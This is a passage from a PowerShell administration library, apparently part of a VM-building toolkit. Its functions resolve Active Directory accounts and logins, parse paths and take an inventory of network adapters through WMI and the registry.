    }

    DBGIF ('SAM login too long: {0}.' -f $shortSAMlogin) { $shortSAMlogin.Length -gt 20 }
    if ($shortSAMlogin.Length -gt 20) { $shortSAMlogin = $shortSAMlogin.SubString(0, 20) }


    if ($mustNormalize) {

      # local computer
      if (Is-BuiltinDomain $domain) {

        $outSAMLogin = '{0}\{1}' -f $domain.ToUpper(), $shortSAMlogin
      }
    
      elseif (Is-LocalDomain $domain $true) {
    
        $outSAMLogin = '{0}\{1}' -f $global:thisComputerNetBIOS, $shortSAMlogin
      }

      else {

        # try searching like the domain supplied was dnsDomain
      
        $netBIOSDomain = Get-NCName $domain nETBIOSName dnsRoot
       
        if (Is-ValidString $netBIOSDomain) {
      
          $dnsDomain = $domain
          # we have both, $netBIOSDomain + $dnsDomain
        }
      
        else {
      
          $dnsDomain = Get-NCName $domain dnsRoot nETBIOSName
        
          if (Is-ValidString $dnsDomain) {
        
            $netBIOSDomain = $domain
            # we have both, $netBIOSDomain + $dnsDomain
          }
        
          else {
        
            # we can still have alternative UPN suffixes
            $dnsDomain = $null
            $netBIOSDomain = $null
          }
        }
     

        if ((Is-ValidString $dnsDomain) -and (Is-ValidString $netBIOSDomain)) {
      
          $dnDomain = Get-NCName $dnsDomain nCName dnsRoot
        
          if (Is-ValidString $dnDomain) {
      
            # try searching for UPN
            $userDE = Find-DE (Get-DE $dnDomain ([ref] $deList)) 'userPrincipalName' ('{0}@{1}' -f $login, $dnsDomain) '(objectClass=user)' ([ref] $deList)
          
            if (Is-Null $userDE) {

              $userDE = Find-DE (Get-DE $dnDomain ([ref] $deList)) 'sAMAccountName' $shortSAMlogin '(|(objectClass=user)(objectClass=group))' ([ref] $deList)
            }

            if (Is-NonNull $userDE) {
          
              $outSAMLogin = '{0}\{1}' -f $netBIOSDomain, (GDES $userDE sAMAccountName)
            }
          }
        }


        if (Is-EmptyString $outSAMLogin) {
      
          $alternativeUPNLogin = '{0}@{1}' -f $login, $domain
           
          $namingContext = ''
          $userDE = Find-DEinGC userPrincipalName $alternativeUPNLogin '(objectClass=user)' ([ref] $deList) ([ref] $namingContext)
        
          if (Is-NonNull $userDE) {
        
            $netBIOSDomain = Get-NCName $namingContext nETBIOSName
            $outSAMLogin = '{0}\{1}' -f $netBIOSDomain, (GDES $userDE sAMAccountName)
          }
        }
      }
    }
  }

  DBG ('SAM login found: {0}' -f $outSAMLogin)
  DBGIF ('Invalid SAM login found: requested = {0},{1} | found = {2}' -f $samOrUPNloginOrSID, $domain, $outSAMLogin) { ($outSAMLogin -ne 'Everyone') -and ($outSAMLogin -notmatch (RxFullStr $global:rxSamLogin)) }
  Dispose-List ([ref] $deList)
  
  return $outSAMLogin
}


function global:Split-PathComponents ([string] $ntfs)
{
  DBGIF $MyInvocation.MyCommand.Name { ($ntfs -notlike '[a-z]:\*') -and ($ntfs -notlike '\\?*\*') }
  [System.Collections.ArrayList] $res = @()

  if (($ntfs -like '[a-z]:\*') -or ($ntfs -like '\\?*\*')) {

    [void] $res.Add($ntfs)

    $onePath = $ntfs
    while ((Is-ValidString $onePath) -and ($onePath -notlike '[a-z]:\')) {
  
      $parentPath = Split-Path -Path $onePath -Parent

      if (Is-ValidString $parentPath) {

        [void] $res.Add($parentPath)
      }

      $onePath = $parentPath
    }

    $res.Reverse()
  }
  
  return ,$res
}


function global:Get-ExecutablePathWithoutParams ([string] $exePathWithParams, [switch] $mustExist) 
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [string] $exePathWithoutQuotes = $null

  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $exePathWithParams }
  DBGIF $MyInvocation.MyCommand.Name { $exePathWithParams -ne $exePathWithParams.TrimStart() }
  
  if (Is-ValidString $exePathWithParams) {

    if ($exePathWithParams -like '"*"*') {

      $secondQuotIdx = $exePathWithParams.SubString(1).IndexOf('"') + 1
      $exePathWithoutQuotes = $exePathWithParams.SubString(1, ($secondQuotIdx - 1))
    
    } elseif ($exePathWithParams -like '* *') {

      $spaceIdx = $exePathWithParams.IndexOf(' ')
      $exePathWithoutQuotes = $exePathWithParams.SubString(0, $spaceIdx)

    } else {

      $exePathWithoutQuotes = $exePathWithParams
    }
  }


  if (($mustExist) -and (-not (Test-Path $exePathWithoutQuotes))) {

    DBGIF ('The EXE path determined does not exist: {0}' -f $exePathWithoutQuotes) { $true }
    $exePathWithoutQuotes = $null
  }

  DBG ('EXE path was determined as: {0}' -f $exePathWithoutQuotes)
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $exePathWithoutQuotes }
  DBGIF $MyInvocation.MyCommand.Name { (Is-ValidString $exePathWithoutQuotes) -and ($exePathWithoutQuotes -notlike '?*.exe') }

  return $exePathWithoutQuotes
}


function global:Get-SecurityPrincipalDNfromLogin ([string] $samOrUPNlogin)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [System.Collections.ArrayList] $deList = @()
  [string] $dn = ''

  [string] $securityPrincipalSID = ''
  DBGSTART  
  $securityPrincipalSID = (New-Object Security.Principal.NTAccount $samOrUPNlogin).Translate([Security.Principal.SecurityIdentifier]).Value
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND

  if (Is-ValidString $securityPrincipalSID) {

    $securityPrincipalDE = Get-DE ('LDAP://' -f $securityPrincipalSID) ([ref] $deList)
    $dn = GDES $securityPrincipalDE distinguishedName
  }

  Dispose-List ([ref] $deList)

  DBGIF $MyInvocation.MyCommand.Name { $dn -notmatch (Get-NormalDNMatch $true) }
  DBG ('Security principal DN determined as: {0}' -f $dn)
  return $dn
}


function global:Get-DEbyDNorSAMorUPN ([string] $memberDNorSAMorUPN, [string] $class, [string] $domainDN, [ref] $deListRef)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $memberDNorSAMorUPN }

  [ADSI] $foundAccount = $null  
  $deList = $deListRef.Value

  DBG ('Check the account search type: {0}' -f $memberDNorSAMorUPN)

  if ($memberDNorSAMorUPN -like 'CN=*,DC=*') {

    DBG ('Login type determined as DN. Open the DN directly') 
    $foundAccount = Get-DE $memberDNorSAMorUPN ([ref] $deList)

  } elseif ($memberDNorSAMorUPN -like '*@*') {

    DBG ('Login type determined as UPN')  
    DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $domainDN }

    DBG ('Connect to domain: {0}' -f $domainDN)
    $domainDE = Get-DE $domainDN ([ref] $deList)

    DBG ('Find account by UPN: {0}' -f $memberDNorSAMorUPN)  

    if (Is-ValidString $class) {

      $foundAccount = Find-DE $domainDE 'userPrincipalName' $memberDNorSAMorUPN ('(objectClass={0})' -f $class) ([ref] $deList)

    } else {

      $foundAccount = Find-DE $domainDE 'userPrincipalName' $memberDNorSAMorUPN $null ([ref] $deList)
    }

    DBGIF $MyInvocation.MyCommand.Name { (GDES $foundAccount distinguishedName) -ne (Get-SecurityPrincipalDNfromLogin $memberDNorSAMorUPN) }

  } else {

    # note: this includes pure logins without DOMAIN\ prefix
    DBG ('Login type determined as SAM')  

    if (Is-EmptyString $domainDN) {

      $samComponents = $memberDNorSAMorUPN.Split('\')
      DBGIF $MyInvocation.MyCommand.Name { (Get-CountSafe $samComponents) -ne 2 }

      $domainSAM = $samComponents[0]
      $memberDNorSAMorUPN = $samComponents[1]

      DBG ('SAM components split: {0} | {1}' -f $domainSAM, $memberDNorSAMorUPN)
        
      $domainDN = Get-NCName $domainSAM nCName nETBIOSName
    
    } else {

      # although we have $domainDN supplied from the caller, we 
      # still may need to cut the SAM domain from the $memberDNorSAMorUPN
      
      $backslashIdx = $memberDNorSAMorUPN.IndexOf('\')
      if ($backslashIdx -gt -1) {

        $memberDNorSAMorUPN = $memberDNorSAMorUPN.SubString($backslashIdx + 1)
        DBGIF $MyInvocation.MyCommand.Name { $memberDNorSAMorUPN.IndexOf('\') -gt -1 }
      }
    }

    DBG ('Connect to domain: {0}' -f $domainDN)
    $domainDE = Get-DE $domainDN ([ref] $deList)

    if (Is-NonNull $domainDE) {
                                         
      DBG ('Find account by SAM: {0}' -f $memberDNorSAMorUPN)  

      if (Is-ValidString $class) {
                                                           
        $foundAccount = Find-DE $domainDE 'sAMAccountName' $memberDNorSAMorUPN ('(objectClass={0})' -f $class) ([ref] $deList)

      } else {

        $foundAccount = Find-DE $domainDE 'sAMAccountName' $memberDNorSAMorUPN $null ([ref] $deList)
      }
    }

    DBGIF $MyInvocation.MyCommand.Name { (GDES $foundAccount distinguishedName) -ne (Get-SecurityPrincipalDNfromLogin $memberDNorSAMorUPN) }
  }

  DBG ('Found object: dn = {0} | sam = {1} | upn = {2}' -f (GDES $foundAccount distinguishedName), (GDES $foundAccount sAMAccountName), (GDES $foundAccount userPrincipalName))

  return $foundAccount
}


function global:Assert-AccountExists ([string] $account, [string] $message, [bool] $returnSID, [switch] $stubborn)
{
  [string] $accountSID = ''
  
  DBG ('Assert if account exists: {0}' -f $account)
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $account }

  if (Is-ValidString $account) {

    if (-not $stubborn) {

      DBGSTART
      $accountSID = (New-Object Security.Principal.NTAccount $account).Translate([Security.Principal.SecurityIdentifier]).Value
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND

    } else {

      DBG ('Stubborn operation for failure-prone environments')
      Wait-Periodically -maxTrialCount 7 -sleepSec 17 -randomizeSleepPercent 70 -sleepMsg 'Previous account assertion failed' -sleepMsgOnlyIfNotFinishedImmediatelly -scriptBlockWhichReturnsTrueToStop {

        [bool] $success = $true
        DBGSTART
        $accountSID = (New-Object Security.Principal.NTAccount $account).Translate([Security.Principal.SecurityIdentifier]).Value
        if ($error.Count -ne 0) {

          # Note: unfinished wait asserts on its own
          DBGER $MyInvocation.MyCommand.Name $error -silent
          $success = $false
        }
        DBGEND

        Set-Variable -Name accountSID -Scope 2 -Value $accountSID
        return $success
      }
    }

    if (Is-ValidString $message) {

      DBG ('{0}: {1} | {2}' -f $message, $account, $accountSID)

    } else { 

      DBG ('{0} | {1}' -f $account, $accountSID)
    }

    DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $accountSID }
  }

  if ($returnSID) {

    return $accountSID
  }
}


function global:Assert-Assembly ([string] $partialName)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  DBG ('Get the list of currently loaded assemblies')
  DBGSTART
  [System.Reflection.Assembly[]] $assemblies = [AppDomain]::CurrentDomain.GetAssemblies()
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND

  [System.Reflection.Assembly] $theAssembly = $null
  $theAssembly = $assemblies | ? { $_.Evidence.Name -eq $partialName }
  DBG ('The requested assembly loaded already: {0} | {1}' -f $partialName, (Is-NonNull $theAssembly))

  if (Is-Null $theAssembly) {

    DBG ('Load the assembly: {0}' -f $partialName)
    DBGSTART
    [void] [System.Reflection.Assembly]::LoadWithPartialName($partialName)
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
  }
}



function global:Is-BuiltinDomain ([string] $domain)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [bool] $isBuiltin = (($domain -eq 'NT AUTHORITY') -or ($domain -eq 'NT SERVICE') -or ($domain -eq 'BUILTIN') -or ($domain -eq 'IIS APPPOOL') -or ($domain -eq 'NT VIRTUAL MACHINE') -or ($domain -eq 'Window Manager'))

  DBG ('Is domain builtin: {0} | {1}' -f $domain, $isBuiltin)
  return $isBuiltin
}


function global:Is-LocalDomain ([string] $domain, [bool] $localComputerOnly)
# Note: $localComputerOnly - be careful, this routine is called from Get-LocalComputerNetBIOSDomain
#       so do not call it indefinitely
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [bool] $isLocal = $false

  if (Is-EmptyString $domain) {

    $isLocal = $true

  } elseif ($domain -eq $global:emptyValueMarker) {
    
    $isLocal = $true

  } elseif ($domain -eq '.') {
    
    $isLocal = $true

  } elseif ($domain -eq $global:thisComputerNetBIOS) {

    $isLocal = $true

  } elseif ($domain -eq $global:thisComputerHost) {

    $isLocal = $true
#
# Note: this condition is not valid for cases when we supply credentials to remote queries
#
#  } elseif ($domain -eq $global:thisComputerWorkgroup) {
#
#    $isLocal = $true
#
  } elseif ((-not $localComputerOnly) -and (($global:thisOSRole -eq 'BDC') -or ($global:thisOSRole -eq 'PDC')) -and ($domain -eq $global:thisComputerDomain)) {

    $isLocal = $true

  } elseif ((-not $localComputerOnly) -and (($global:thisOSRole -eq 'BDC') -or ($global:thisOSRole -eq 'PDC')) -and ($domain -eq $global:thisComputerDomainNetBIOS)) {

    $isLocal = $true
  }

  DBG ('Is domain local: {0} | {1}' -f $domain, $isLocal)

  return $isLocal
}


function global:Get-LocalDomain ()
{
  if (($global:thisOSRole -eq 'BDC') -or ($global:thisOSRole -eq 'PDC')) {
   
    $localDomain = $global:thisComputerDomainNetBIOS

  } else {

    $localDomain = $global:thisComputerNetBIOS
  }

  return $localDomain
}


function global:Grab-ErrorMessages ([string] $folder, [string] $extension, [string[]] $filters, [string] $outputFile)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $folder }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $extension }
  DBGIF $MyInvocation.MyCommand.Name { (Get-CountSafe $filters) -lt 1 }
  DBGIF $MyInvocation.MyCommand.Name { -not (Test-Path $folder) }

  if ((Is-ValidString $folder) -and (Is-ValidString $extension) -and ((Get-CountSafe $filters) -gt 0) -and (Test-Path $folder)) {

    DBG ('Gather message files in: {0}' -f $folder)
    DBG ('---===oooooXXXXXXXXXooooo===---')

    $msgFiles = Get-ChildItem -Path $folder -Filter ('*{0}' -f $extension) | ? { -not $_.PSIsContainer } -EV er -EA SilentlyContinue
    DBGER $MyInvocation.MyCommand.Name $er

    DBG ('Found message files: #{0}' -f (Get-CountSafe $msgFiles))

    if ((Get-CountSafe $msgFiles) -gt 0) {

      [string] $outputFilePath = $null
      if (Is-ValidString $outputFile) {
      
        $outputFilePath = Get-DataFileApp $outputFile $null '.txt' -doNotPrefixWithOutFile $true
        DBG ('Saving report in file: {0}' -f $outputFilePath)
        if (Test-Path -Literal $outputFilePath) {

          DBGSTART
          Remove-Item -Path $outputFilePath
          DBGER $MyInvocation.MyCommand.Name $error
          DBGEND
        }
      }

      foreach ($oneFile in $msgFiles) {

        [hashtable] $foundLines = @{}

        foreach ($oneLine in (Get-Content $oneFile.FullName)) {

          foreach ($oneFilter in $filters) {

            if ($oneLine -like $oneFilter) {

              if (-not $foundLines.ContainsKey($oneLine)) {

                [void] $foundLines.Add($oneLine, $true)
              }
            }
          }
        }

        [Collections.ArrayList] $outMessages = @()
        [void] $outMessages.Add(('==========================================================='))
        [void] $outMessages.Add(("==== FILE: {0}`r`n`r`n{1}" -f $oneFile.FullName, ($foundLines.Keys | sort | Out-String)))

        DBG ('')
        foreach ($oneOutMessage in $outMessages) {

          DBG ($oneOutMessage)

          if (Is-ValidString $outputFilePath) {

            DBGSTART
            $oneOutMessage | Out-File -FilePath $outputFilePath -Encoding UTF8 -Append
            DBGER $MyInvocation.MyCommand.Name $error
            DBGEND
          }
        }
      }
    }
  }
  
  DBGVERSIONHEADER 'VM Builder'

  if ((Is-ValidString $outputFile) -and (Is-ValidString $outputFilePath) -and (Test-Path -Literal $outputFilePath)) {

    return $outputFilePath
  }
}


function global:Get-NICNamesFromIPs ([string] $ips)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  $allValidNICs = Get-WMIQueryArray '.' $global:wmiFltValidNIC 'root/CIMv2' $false
  $ipArray = Split-MultiValue $ips

  [string] $foundNames = ''

  if ((Get-CountSafe $ipArray) -gt 0) {

    foreach ($oneIP in $ipArray) {
    
      DBG ('Seeking interface name for IP: {0}' -f $oneIP)
      
      [int] $foundIDX = -1
      [string] $foundName = ''
      
      $foundNAC = $null
      $foundNAC = $allValidNICs | ? { (Contains-Safe $_.IPAddress $oneIP) } | Select-Object -First 1
      DBGIF $MyInvocation.MyCommand.Name { (Get-CountSafe $foundNAC) -ne 1 }

      if ((Get-CountSafe $foundNAC) -ge 1) {

        $foundIDX = $foundNAC.Index
        DBG ('Found interface ID for IP: {0} | {1} | {2}' -f $oneIP, $foundIDX, $foundNAC.MacAddress)
        DBGIF $MyInvocation.MyCommand.Name { $foundIDX -lt 0 }

        if ($foundIDX -ge 0) {

          $foundNA = $null
          $foundNA = (Get-WMIQueryArray '.' ('SELECT * FROM Win32_NetworkAdapter WHERE Index = "{0}"' -f $foundIDX) 'root/CIMv2' $false) | Select-Object -First 1
          DBGIF $MyInvocation.MyCommand.Name { (Get-CountSafe $foundNA) -ne 1 }
          DBGIF $MyInvocation.MyCommand.Name { $foundNA.MacAddress -ne $foundNAC.MacAddress }

          $foundName = $foundNA.NetConnectionID
          DBG ('Found interface name for ID with IP: {0} | {1} | {2} | {3}' -f $oneIP, $foundIDX, $foundNAC.MacAddress, $foundName)
        }

        DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $foundName }

        dbg ('foundName: {0}' -f $foundName)
        $foundNames = Add-MultiValue $foundNames $foundName      
        dbg ('foundNames: {0}' -f $foundNames)

      } else {

        $foundNames = Add-MultiValue $foundNames $global:emptyValueMarker
      }
    }
  }

  DBG ('Interface names found: {0}' -f $foundNames)
  DBGIF $MyInvocation.MyCommand.Name { (Get-CountSafe (Split-MultiValue $ips)) -ne (Get-CountSafe (Split-MultiValue $foundNames)) }

  return $foundNames
}


function global:Is-IPAddressPrivate ([string[]] $ipAddresses)
{
  DBG ('Does the list contain a private IP address: {0}' -f ($ipAddresses -join ','))

  foreach ($oneIP in $ipAddresses) {

    DBGIF $MyInvocation.MyCommand.Name { -not (Is-IPv4OrIPv6Address $oneIP) }
  }

  [bool] $isPrivate = (
    (Contains-SafeWildcard $ipAddresses '10.*') -or
    (Contains-SafeWildcard $ipAddresses '172.16.*') -or   
    (Contains-SafeWildcard $ipAddresses '172.17.*') -or   
    (Contains-SafeWildcard $ipAddresses '172.18.*') -or   
    (Contains-SafeWildcard $ipAddresses '172.19.*') -or   
    (Contains-SafeWildcard $ipAddresses '172.20.*') -or   
    (Contains-SafeWildcard $ipAddresses '172.21.*') -or   
    (Contains-SafeWildcard $ipAddresses '172.22.*') -or   
    (Contains-SafeWildcard $ipAddresses '172.23.*') -or   
    (Contains-SafeWildcard $ipAddresses '172.24.*') -or   
    (Contains-SafeWildcard $ipAddresses '172.25.*') -or   
    (Contains-SafeWildcard $ipAddresses '172.26.*') -or   
    (Contains-SafeWildcard $ipAddresses '172.27.*') -or   
    (Contains-SafeWildcard $ipAddresses '172.28.*') -or   
    (Contains-SafeWildcard $ipAddresses '172.29.*') -or   
    (Contains-SafeWildcard $ipAddresses '172.30.*') -or   
    (Contains-SafeWildcard $ipAddresses '172.31.*') -or   
    (Contains-SafeWildcard $ipAddresses '192.168.*')
    )

  DBG ('The list contains a private IP address: {0}' -f $isPrivate)
  return $isPrivate
}


function global:Get-BestServerInternalNIC ([ScriptBlock] $subCondition, [bool] $returnAll, [string[]] $preferenceItemsRequested, [bool] $doDefault = $true, [bool] $doNonMatching = $false, [bool] $doNotAssert, [string] $saveCsvDebugFile)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  DBGIF $MyInvocation.MyCommand.Name { (-not (Get-CountSafe $preferenceItemsRequested) -gt 0) -and (-not $doDefault) -and (-not $doNonMatching) }

  DBG ('Obtain all linkage from registry')
  DBGSTART  # some keys are not accessible normally
  $BSINallLinkage = Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Services\?*\Linkage -EA SilentlyContinue | ? { Contains-Safe $_.Property Bind }
  foreach ($oneLinkage in $BSINallLinkage) { 
  
    Add-Member -InputObject $oneLinkage -MemberType NoteProperty -Name Bindings -Value $oneLinkage.GetValue('Bind')
    Add-Member -InputObject $oneLinkage -MemberType NoteProperty -Name BindingName -Value (Split-Path (Split-Path $oneLinkage.Name -Parent) -Leaf)
  }
  DBGEND


  if (-not $doNotAssert) {

    [System.Collections.ArrayList] $BSINinternalAllNICs = Get-WMIQueryArray '.' 'SELECT * FROM Win32_NetworkAdapterConfiguration' 'root/CIMv2' $false

    DBG ('Assert linkage')
    
    $BSINallLinkage | % { 
        $bindingName = $_.BindingName ; $_.Bindings | % { 
            DBGIF "Weird linkage: $bindingName | $_" { -not (($_ -match "\\Device\\{$global:rxGUID}") -or ($_ -match "\\Device\\([\d0-9A-Za-z]{1,8}_){1,}{$global:rxGUID}") -or ($_ -eq '\Device\NetbiosSmb') -or ($_ -eq '\Device\NdisWanIp') -or ($_ -eq '\Device\NdisWanIpv6') -or ($_ -eq '\Device\NdisWanBh') -or ($_ -eq '\Dummy')) } } }
    
    DBGIF "Weird SettingIDs with duplicities: $($BSINinternalAllNICs | Select -Expand SettingID | Sort | Out-String)" { ($BSINinternalAllNICs | Select -Expand SettingID | Measure).Count -ne ($BSINinternalAllNICs | Select -Expand SettingID | Select -Unique | Measure).Count}

    DBGIF '======= NIC inventory START =======' { $true }
    DBG ('NIC inventory and asserts first')

    [string] $theOneNonphysicalHyperVEthernetAdapter = $null
    foreach ($oneNIC in $BSINinternalAllNICs) {
  
      $oneAdapter = Get-WmiRelatedSingle $oneNIC 'Win32_NetworkAdapter'
      $onePnP = Get-WmiRelatedSingle $oneAdapter 'Win32_PnpEntity' -mayBeNull $true # Network Monitor virtual NIC does not have an associated PnPEntity

      [System.Collections.ArrayList] $oneAdapterLinkage = @()
      DBG ('Get the per-adapter linkage: {0}' -f $oneNIC.SettingID)
      foreach ($oneBSINallLinkage in $BSINallLinkage) {

        [string[]] $thePerAdapterLinkage = $oneBSINallLinkage.Bindings | ? { $_ -like ('\Device\*{0}' -f $oneNIC.SettingID) }
        if ($thePerAdapterLinkage.Length -gt 0) {

          DBG ('Some per-adapter linkage found: #{0} | {1} | {2}' -f $thePerAdapterLinkage.Length, ($thePerAdapterLinkage -join ';'), $oneBSINallLinkage.BindingName)
          #DBGIF ('Some multiple per-adapter linkage found: #{0} | {1} | {2}' -f $thePerAdapterLinkage.Length, ($thePerAdapterLinkage -join ';'), $oneBSINallLinkage.BindingName) { $thePerAdapterLinkage.Length -gt 1 }

          [void] $oneAdapterLinkage.Add($oneBSINallLinkage.BindingName)
        }
      }

      $nicOutStr = 'if = {0} | idx = {1} | prod = {2} | name = {3} | svc = {4} | mac = {5} | ip = {6} | guid = {7} | stat = {8} | link = {9} | connId = {10} | ipEnabled = {11} | netEnabled = {12} | pnpStatus = {13}' -f $oneAdapter.InterfaceIndex, $oneAdapter.Index, $oneAdapter.ProductName, $oneAdapter.Name, $oneNIC.ServiceName, $oneNIC.MacAddress, ($oneNIC.IPAddress -join ','), $oneNIC.SettingID, $oneAdapter.NetConnectionStatus, ($oneAdapterLinkage -join ','), $oneAdapter.NetConnectionId, $oneNIC.IPEnabled, $oneAdapter.NetEnabled, $onePnP.Status

<#
Note: still valid but poses lots of false alarms

      DBGIF "Weird NIC: $nicOutStr" { $oneNIC.Index -ne $oneAdapter.Index }
      DBGIF "Weird NIC: $nicOutStr" { $oneAdapter.DeviceId -ne $oneAdapter.Index }
      DBGIF "Weird NIC: $nicOutStr" { ($global:thisOSVersionNumber -ge 6) -and (([int] $oneNIC.InterfaceIndex) -lt 1) } # there is no InterfaceIndex on Windows XP or Windows 2003
      DBGIF "Weird NIC: $nicOutStr" { $oneNIC.InterfaceIndex -ne $oneAdapter.InterfaceIndex }
      DBGIF "Weird NIC: $nicOutStr" { $oneNIC.MacAddress -ne $oneAdapter.MacAddress }
      DBGIF "Weird NIC: $nicOutStr" { (Is-ValidString $oneAdapter.MacAddress) -and ($oneAdapter.MacAddress -notmatch $global:rxMacAddressDotted) }
      DBGIF "Weird NIC: $nicOutStr" { ($oneNIC.IPEnabled) -and (Is-EmptyString $oneNIC.DnsHostName) }
      DBGIF "Weird NIC: $nicOutStr" { (-not $oneNIC.IPEnabled) -and (Is-ValidString $oneNIC.DnsHostName) }
      DBGIF "Weird NIC: $nicOutStr" { (-not $oneNIC.IPEnabled) -and ((Get-CountSafe $oneNIC.IPAddress) -gt 0) }
      DBGIF "Weird NIC: $nicOutStr" { $oneNIC.IPEnabled -and ($oneAdapter.NetConnectionStatus -ne 2) }

      # Note: values such as $null, 0, 2, 7 are for various cable disconnected states
      #       value 4 is for $onePnP.Status = Error such as disabled NICs
      DBGIF "Weird NIC: $nicOutStr" { (-not (Contains-Safe @($null, 0, 2, 4, 7) $oneAdapter.NetConnectionStatus)) }
      DBGIF "Weird NIC: $nicOutStr" { ($oneNIC.Description -ne $oneAdapter.ProductName) -and ($oneNIC.Description -notlike ('{0} #*' -f $oneAdapter.ProductName)) -and (($global:thisOSVersionNumber -eq 5.1) -and ($oneNIC.Description -notlike ('{0} - Packet Scheduler Miniport' -f $oneAdapter.ProductName))) }
      DBGIF "Weird NIC: $nicOutStr" { ($oneAdapter.Name -ne $oneAdapter.Description) -and ($oneAdapter.Name -notlike ('{0} #*' -f $oneAdapter.Description)) -and ($oneAdapter.Name -ne 'Teredo Tunneling Pseudo-Interface') }
      DBGIF "Weird NIC: $nicOutStr" { $oneAdapter.Description -ne $oneAdapter.ProductName }

      # Note: external hyper-v switched NICs (link = VMSP) are Connected, but not-IPEnabled
      #       weirdly enough, media disconnected adapters have NetConnectionStatus either 7 or 0
      #       Even on my single system, Intel EB adapter was seen to have one port at 7 while the other at 0
      #       under the same physical conditions
      DBGIF "Weird NIC: $nicOutStr" { -not (($oneAdapter.NetConnectionStatus -ne 4) -or (($oneAdapter.NetConnectionStatus -eq 4) -and (-not ($oneAdapter.NetEnabled)) -and ($onePnP.Status -eq 'Error'))) }
      DBGIF "Weird NIC: $nicOutStr" { (-not $oneNIC.IPEnabled) -and (-not (
                                          ($oneAdapter.NetConnectionStatus -eq 7) -or ($oneAdapter.NetConnectionStatus -eq 0) -or ($oneAdapter.NetConnectionStatus -eq $null) -or (Contains-Safe $oneAdapterLinkage VMSP) -or (($oneAdapter.NetConnectionStatus -eq 4) -and (-not ($oneAdapter.NetEnabled)) -and ($onePnP.Status -eq 'Error'))
                                                                    )) }

      # Note: PnpDeviceId seems to be null if the adapter is not present (such as Apple Mobile Device, or the IPv6 Tunnels and RAS Async Adapter without being dialed)
      DBGIF "Weird NIC: $nicOutStr" { (Is-ValidString $oneAdapter.PnpDeviceId) -and ($oneAdapter.PnPDeviceId -ne $onePnP.DeviceId) }
      DBGIF "Weird NIC: $nicOutStr" { (Is-ValidString $oneAdapter.PnpDeviceId) -and ($oneNIC.ServiceName -ne $oneAdapter.ServiceName) -and ($oneAdapter.ServiceName -ne 'PSched') }
      DBGIF "Weird NIC: $nicOutStr" { (Is-EmptyString $oneAdapter.PnpDeviceId) -and ((Is-EmptyString $oneNIC.ServiceName) -or (Is-ValidString $oneAdapter.ServiceName)) }
      DBGIF "Weird NIC probably device disconnected: $nicOutStr" { (Is-EmptyString $oneAdapter.PnpDeviceId) -and ($oneAdapter.ProductName -ne 'Microsoft Teredo Tunneling Adapter') -and ($oneAdapter.ProductName -ne 'Microsoft ISATAP Adapter') -and ($oneAdapter.ProductName -ne 'Microsoft 6to4 Adapter') -and ($oneAdapter.ProductName -ne 'RAS Async Adapter') -and ($oneAdapter.ProductName -notlike 'WAN Miniport (?*)') }
      DBGIF "Weird NIC: $nicOutStr" { (Is-EmptyString $oneAdapter.PnpDeviceId) -and ((Get-CountSafe $oneNIC.IPAddress) -gt 0) }
      DBGIF "Weird NIC: $nicOutStr" { (Is-EmptyString $oneAdapter.PnpDeviceId) -and (Is-ValidString $oneNIC.MacAddress) }

      # Note: on Hyper-V 2008 R2 (both):        Microsoft Virtual Network Switch Adapter
      #       on Hyper-V 2012 (NIC vs. switch): Hyper-V Virtual Switch Extension Adapter, Hyper-V Virtual Ethernet Adapter
      DBGIF "Weird NIC: $nicOutStr" { $global:runningInHyperV -and ($oneNIC.ServiceName -eq 'VMSMP') }
      DBGIF "Weird NIC: $nicOutStr" { $global:runningInHyperV -and (Contains-Safe $oneAdapterLinkage VMSP) }
      DBGIF "Weird NIC: $nicOutStr" { $global:runningInHyperV -and (Contains-Safe $oneAdapterLinkage VMSVSP) }
